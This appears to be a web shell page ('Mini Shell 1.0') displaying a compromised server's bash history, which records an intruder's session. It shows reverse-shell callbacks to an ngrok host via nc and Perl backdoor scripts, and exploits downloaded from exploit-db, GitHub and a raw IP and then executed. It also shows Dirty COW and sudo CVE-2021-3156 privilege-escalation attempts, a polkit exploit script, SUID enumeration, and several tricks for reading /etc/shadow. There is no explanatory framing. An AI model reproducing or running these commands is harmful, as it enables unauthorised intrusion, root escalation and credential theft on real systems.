HOME

Mini Shell 1.0
DIR:/home/dna1981/
Current File : /home/dna1981/.bash_history
#1496520469
pwd
#1496520474
df -h
#1496520560
cd public_html/
#1496520603
tar --ignore-failed-read -czf public_html.tar.gz $( find -name "*.php" -or -name "*.js" -or -name "*.pl" -or -name "*.html" -or -name "*.cgi" -or -name "*.htaccess" )
#1496520889
cd ..
#1496522525
cd public_html/
#1496522527
tar --ignore-failed-read -cvzf public_html.tar.gz $( find -name "*.php" -or -name "*.js" -or -name "*.pl" -or -name "*.html" -or -name "*.cgi" -or -name "*.htaccess" )
#1496522599
cd jerrisays
#1496522609
rm o-*
#1496522614
rm -R o-*
#1496522626
cd ..
#1496522630
tar --ignore-failed-read -cvzf public_html.tar.gz $( find -name "*.php" -or -name "*.js" -or -name "*.pl" -or -name "*.html" -or -name "*.cgi" -or -name "*.htaccess" )
#1496522645
cd ..
#1496522670
tar -cfz public_html.tar.gz public_html/
#1496522686
tar -cfz  public_html/ public_html.tar.gz 
#1496522781
df -h
#1617928860
id
#1617928865
su
#1617928869
su root
#1617928873
sado
#1617928877
sudo
#1617928885
sudo -i
#1617928903
id
#1617930057
cd /home/dna1981/public_html/logomasters/php/img/
#1617930082
nc 2.tcp.ngrok.io 12650
#1617930131
perl bd1.pl 2.tcp.ngrok.io 12650
#1617930143
perl bd2.pl 2.tcp.ngrok.io 12650
#1618418129
pwd
#1618418131
cd /home
#1618418132
ll
#1618418134
ls -l
#1618418136
exit
#1618418408
export SHELL=true
#1618418413
cd public_
#1618418414
cd public_html/
#1618418424
php sucuri-cleanup.php srun | tee scan.txt
#1618419179
exit
#1624043730
HTTP/1.1 400 Bad Request
#1624043730
Date: Fri, 18 Jun 2021 19:15:31 GMT
#1624043730
Server: Apache/2.4.25 (Debian)
#1624043730
Content-Length: 319
#1624043730
Connection: close
#1624043730
Content-Type: text/html; charset=iso-8859-1
#1624043730
<html><head>
#1624043730
<title>400 Bad Request</title>
#1624043730
</head><body>
#1624043730
<h1>Bad Request</h1>
#1624043730
<p>Your browser sent a request that this server could not understand.<br />
#1624043730
</p>
#1624043730
<hr>
#1624043730
<address>Apache/2.4.25 (Debian) Server at debian-CrAzYMaN.localdomain Port 80</address>
#1624043730
</body></html>
#1624143609
pwd
#1624143612
d
#1624143613
id
#1624143640
find / -perm -g=s -o -perm -4000 ! -type l -maxdepth 3 -exec ls -ld {} \; 2>/dev/null
#1624143658
exim
#1624143671
sudo -l
#1624143711
sudo -V
#1624143751
cat /etc/*release
#1624143761
exit
export TERM=xterm
python -c 'import pty; pty.spawn("/bin/bash")'
exit
#1624147184
gdb -nx -ex 'python print(open("/etc/shadow").read())' -ex quit
#1624147252
gdb
#1624148287
gdp
#1624148295
gbd
#1624148298
gdb
#1624148410
python -c 'print "A" * 200'
#1624148419
gdb$ pattern create 200
#1624148434
gdb pattern create 200
#1624148451
python -c 'print "A" * 140 + "\xc6\x84\x04\x08"'
#1624148463
python -c 'print "A" *200'
#1624148574
exit
#1624146978
cat "$LFILE"
#1624147029
 easy_install
#1624147112
gdb -nx -ex '!sh' -ex quit
#1624148578
exit
#1624146739
find visudo
#1624146745
locate visudo
#1624146760
visudo
#1624146775
/etc/sudoers
#1624146817
yum install rlwrap
#1624146875
export LFILE=/etc/shadow
#1624146882
bash -c 'echo "$(<$LFILE)"'
#1624146893
HISTTIMEFORMAT=$'\r\e[K'
#1624146900
history -r $LFILE
#1624146905
history
#1624146950
bash -p
#1624148581
exit
find / -perm -g=s -o -perm -4000 ! -type l -maxdepth 3 -exec ls -ld {} \; 2>/dev/null
crontab -e
cat /usr/local/cpanel/3rdparty/quickinstall/scripts/checkupdates.pl
find / -perm -g=s -o -perm -4000 ! -type l -maxdepth 3 -exec ls -ld {} \; 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
LFILE=/etc/shadow
gcc -x c -E "$LFILE"
gcc -wrapper /bin/sh,-s .
exit
    awk 'BEGIN {system("/bin/sh")}'
#1624043904
export TERM=xterm-color
#1624043908
clear
#1624043914
pwd
#1624043994
cat /etc/*release
#1624044429
id
#1624044434
sudo -i
#1624044552
sudoedit -s '\' `perl -e 'print "A" x 65536'`
#1624044567
sudo -V
#1624044670
wget https://www.exploit-db.com/raw/49521
#1624044691
mv 49521 49521.py
#1624044698
python 49521.py
#1624045100
wget https://raw.githubusercontent.com/stong/CVE-2021-3156/master/exploit.c
#1624045111
chmod 777 exploit.c
#1624045119
gcc exploit.c -o exploit
#1624045123
ls -la
#1624045162
gcc exploit -o exploit.c
#1624045349
wget http://178.62.56.249/exploit.zip
#1624045357
rm error*
#1624045360
ls -la
#1624045369
clear
#1624045383
unzip exploit.zip
#1624045386
ls -la
#1624045482
cp /etc/passwd fakepasswd
#1624045598
chmod 777 exploit
#1624045621
./exploit /etc/passwd fakepasswd
#1624046283
polkitVersion=$(systemctl status polkit.service | grep version | cut -d " " -f 9)
#1624046284
if [[ "$(apt list --installed 2>/dev/null | grep polkit | grep -c 0.105-26)" -ge 1 || "$(yum list installed | grep polkit | grep -c 0.117-2)" ]]; then     echo "[*] Vulnerable version of polkit found"; else     echo "[!] WARNING: Version of polkit might not vulnerable"; fi
#1624046354
# Test the dbus-send timing to load into exploit
#1624046354
echo "[*] Determining dbus-send timing"
#1624046354
realTime=$( TIMEFORMAT="%R"; { time dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:$userName string:$realName int32:$accountType ; } 2>&1 | cut -d " " -f6 )
#1624046448
halfTime=$(echo "scale=3;$realTime/2" | bc)wget https://www.exploit-db.com/raw/50011 -O 1.sh
#1624046463
wget https://www.exploit-db.com/raw/50011
#1624046482
mv 50011 1.sh
#1624046487
chmod 777 1.sh
#1624046491
./1.sh
#1624046601
dos2unix 1.sh
#1624046622
bash 1.sh
#1624046631
rm 1.sh
#1624046639
rm fack*
#1624046642
ls
#1624046650
rm exp*
#1624046660
rm fak*
#1624046674
chmod 777 local22020
#1624046686
chmod 777 local2020
#1624046693
./localroot2020
#1624046704
./local2020
#1624046707
id
#1624046716
chmos 777 pwn
#1624046726
chmod 777 pwn
#1624046728
./pwn
#1624047040
id
#1624047080
./cowroot
#1624048152
./croot
#1624048159
rm croot
#1624048167
./cowroot
#1624144564
ls -la
#1624144577
./dirty
#1624144910
cat /etc/passwd
#1624144984
cat /etc/passwd
#1624145000
id
#1624145003
cat /etc/passwd
#1624145030
su firefart
#1624145038
sudo -u firefart
#1624145049
pwd
#1624145091
wget http://178.62.56.249/crazy/cve-2021-3156
#1624145105
cp /etc/passwd fakepasswd
#1624145115
cp /etc/passwd passwd
#1624145131
chmod 0777 cve-2021-3156
#1624145143
./cve-2021-3156 /etc/passwd fakepasswd
#1624145252
cat /etc/passwd
#1624145312
uname -a
#1624145353
wget http://178.62.56.249/local2020
#1624145358
chmod 0777 local2020
#1624145360
./local2020
#1624145461
find / -perm -g=s -o -perm -4000 ! -type l -maxdepth 3 -exec ls -ld {} \; 2>/dev/null
#1624145488
cd /home
#1624145491
ls -la
#1624145494
cd /
#1624145497
ls -la
#1624145512
cd backup
#1624145514
ls -la
#1624145520
dir -ld backup
#1624145558
/backup/babackupcc
#1624145574
/backup/backup.cc
#1624145585
/backup/backup.c
#1624145598
cd ..
#1624145613
dir -ld backup
#1624145617
cd backup
#1624145619
dir
#1624145625
backup.cc
#1624145630
backup.c
#1624145635
backup
#1624145643
ls -lah
#1624145654
cd ..
#1624145656
ls -la
#1624145667
cd srv
#1624145669
ls -la
#1624145713
cd ..
#1624145715
usr/bin
#1624145719
/usr/bin
#1624145726
cd usr/bin
#1624145728
ls -la
#1624145953
ping
#1624145987
hping3
#1624145991
/bin/shhping3
#1624146002
/bin/shping /bin/sh
#1624146016
/usr/bin/ping /bin/bash -p
#1624146027
/usr/bin/ping /bin/bash -i
#1624146034
/usr/bin/ping /bin/bash
#1624146051
LFILE=/etc/shadow
#1624146061
date -f $LFILE
#1624146081
echo "/bin/sh <$(tty) >$(tty) 2>$(tty)" | at now; tail -f /dev/null
#1624047690
sudo -i
#1624047698
sudo -l
#1624047735
python3 -c 'import pty; pty.spawn("/bin/bash")'
#1624047586
./cowroot
export TERM=xterm
python -c 'import pty; pty.spawn("/bin/bash")'
#1624043750
id
#1624043775
sudo -i
#1624043786
passwd
#1624043814
passwd
#1624043885
export TERM=xterm-color
#1624043895
python -c 'import pty; pty.spawn("/bin/bash")'